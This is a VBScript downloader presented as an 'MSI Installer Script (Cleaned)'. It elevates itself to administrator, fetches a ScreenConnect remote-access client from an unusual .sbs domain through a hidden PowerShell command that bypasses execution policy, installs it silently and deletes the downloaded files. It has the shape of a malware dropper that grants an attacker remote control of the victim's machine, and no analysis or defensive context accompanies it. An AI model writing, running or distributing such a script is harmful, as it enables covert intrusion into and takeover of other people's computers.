' MSI Installer Script (Cleaned)
Option Explicit

' ========== CONFIGURATION ==========
Const MSI_URL = "https://app.idanburuku.sbs/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest"
Const MSI_NAME = "ScreenConnect.ClientSetup.msi"
Const LOG_FILE = "install.log"

' ========== GLOBAL OBJECTS ==========
Dim objShell, objFSO
Dim tempPath, msiPath, logPath

Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")

tempPath = objShell.ExpandEnvironmentStrings("%TEMP%")
msiPath = tempPath & "\" & MSI_NAME
logPath = tempPath & "\" & LOG_FILE

' ========== MAIN EXECUTION ==========
Main

Sub Main
    ' RELAUNCH WITH ADMIN PRIVILEGES (Required for MSI installation)
    If Not IsElevated Then
        RelaunchAsAdmin
        WScript.Quit
    End If
    
    WriteLog "Starting installation"
    
    If Not DownloadMSI Then
        WriteLog "ERROR: Download failed"
        WScript.Quit 1
    End If
    
    If Not VerifyDownload Then
        WriteLog "ERROR: Downloaded file not found"
        WScript.Quit 1
    End If
    
    Dim exitCode
    exitCode = InstallMSI
    WriteLog "Installation finished with code: " & exitCode
    
    Cleanup
    WScript.Quit exitCode
End Sub

' ========== ADMINISTRATIVE FUNCTIONS ==========
Function IsElevated
    IsElevated = WScript.Arguments.Named.Exists("elevate")
End Function

Sub RelaunchAsAdmin
    CreateObject("Shell.Application").ShellExecute "wscript.exe", "//B //NoLogo """ & WScript.ScriptFullName & """ /elevate", "", "runas", 1
End Sub

' ========== DOWNLOAD & INSTALL ==========
Function DownloadMSI
    Dim psFile, psContent, psCmd, exitCode
    psFile = tempPath & "\download.ps1"
    ' Using PowerShell for a reliable TLS 1.2 download
    psContent = "$ProgressPreference = 'SilentlyContinue'; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; try { Invoke-WebRequest -Uri '" & MSI_URL & "' -OutFile '" & msiPath & "' -ErrorAction Stop; exit 0 } catch { exit 1 }"
    WriteToFile psFile, psContent
    psCmd = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File """ & psFile & """"
    exitCode = objShell.Run(psCmd, 0, True)
    DeleteFile psFile
    DownloadMSI = (exitCode = 0)
End Function

Function VerifyDownload
    VerifyDownload = objFSO.FileExists(msiPath)
End Function

Function InstallMSI
    Dim installCmd
    ' /i = install, /qn = quiet (no UI), /norestart = do not reboot automatically
    installCmd = "msiexec.exe /i """ & msiPath & """ /qn /norestart"
    InstallMSI = objShell.Run(installCmd, 0, True)
End Function

Sub Cleanup
    DeleteFile msiPath
End Sub

' ========== UTILITIES ==========
Sub DeleteFile(filePath)
    On Error Resume Next
    If objFSO.FileExists(filePath) Then objFSO.DeleteFile filePath, True
End Sub

Sub WriteToFile(filePath, content)
    Dim file
    Set file = objFSO.CreateTextFile(filePath, True)
    file.Write content
    file.Close
End Sub

Sub WriteLog(message)
    On Error Resume Next
    Dim file
    Set file = objFSO.OpenTextFile(logPath, 8, True)
    file.WriteLine Now & " - " & message
    file.Close
End Sub